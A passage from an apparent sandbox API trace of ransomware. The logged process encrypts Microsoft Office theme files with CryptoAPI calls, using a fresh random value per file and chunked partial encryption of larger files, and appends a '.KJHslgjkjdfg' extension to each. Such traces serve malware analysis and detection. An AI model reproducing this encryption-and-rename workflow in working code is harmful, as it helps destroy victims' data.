nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x3, lpOverlapped=0x0) returned 1 [0219.814] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.814] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.814] GetProcessHeap () returned 0x990000 [0219.814] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.815] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.815] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.815] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.815] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.815] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.815] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.815] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.815] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.815] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.815] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.815] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.815] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8ad4d, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x8ad4d, lpOverlapped=0x0) returned 1 [0219.827] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x8ad50, dwBufLen=0x8ad50 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x8ad50) returned 1 [0219.833] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.833] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8ad50, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x8ad50, lpOverlapped=0x0) returned 1 [0219.835] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.835] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8ae24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.835] SetEndOfFile (hFile=0x124) returned 1 [0219.838] GetProcessHeap () returned 0x990000 [0219.838] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.838] GetProcessHeap () returned 0x990000 [0219.838] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.kjhslgjkjdfg")) returned 1 [0219.841] CloseHandle (hObject=0x124) returned 1 [0219.841] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0219.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.843] GetProcessHeap () returned 0x990000 [0219.843] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.843] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.843] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.843] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x3, lpOverlapped=0x0) returned 1 [0219.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.845] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.845] GetProcessHeap () returned 0x990000 [0219.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.845] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.845] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.845] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.845] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.845] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.845] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.846] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.846] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.846] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.846] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.846] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1240d, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x1240d, lpOverlapped=0x0) returned 1 [0219.848] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x12410, dwBufLen=0x12410 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x12410) returned 1 [0219.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.849] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12410, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x12410, lpOverlapped=0x0) returned 1 [0219.849] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x124e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.850] SetEndOfFile (hFile=0x124) returned 1 [0219.853] GetProcessHeap () returned 0x990000 [0219.853] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.853] GetProcessHeap () returned 0x990000 [0219.853] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.kjhslgjkjdfg")) returned 1 [0219.855] CloseHandle (hObject=0x124) returned 1 [0219.855] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0219.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.857] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2003652) returned 1 [0219.857] GetProcessHeap () returned 0x990000 [0219.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.857] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.857] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.857] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0xc, lpOverlapped=0x0) returned 1 [0219.859] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0219.859] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.859] GetProcessHeap () returned 0x990000 [0219.859] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.859] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0219.859] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.859] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0219.859] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0219.859] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0219.859] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0219.859] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.860] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0219.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0219.860] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.860] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0219.860] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0219.869] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0219.874] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.875] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0219.876] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.876] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0219.876] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa30ec, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0219.876] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0219.883] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0219.886] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa30ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.887] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0219.888] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.888] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0219.888] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a92d0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0219.888] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0219.897] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0219.903] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a92d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.903] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0219.904] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.904] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0219.904] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.904] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.904] SetEndOfFile (hFile=0x124) returned 1 [0219.909] GetProcessHeap () returned 0x990000 [0219.909] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.909] GetProcessHeap () returned 0x990000 [0219.909] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.kjhslgjkjdfg")) returned 1 [0219.920] CloseHandle (hObject=0x124) returned 1 [0219.920] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0219.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.922] GetProcessHeap () returned 0x990000 [0219.923] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.923] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.923] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x1, lpOverlapped=0x0) returned 1 [0219.925] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.925] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.925] GetProcessHeap () returned 0x990000 [0219.925] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.925] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.925] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.925] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.925] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.926] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.926] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.926] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.926] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.926] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.926] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.926] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.926] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x555df, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x555df, lpOverlapped=0x0) returned 1 [0219.938] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x555e0, dwBufLen=0x555e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x555e0) returned 1 [0219.942] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.942] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x555e0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x555e0, lpOverlapped=0x0) returned 1 [0220.001] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.001] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x556b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.001] SetEndOfFile (hFile=0x124) 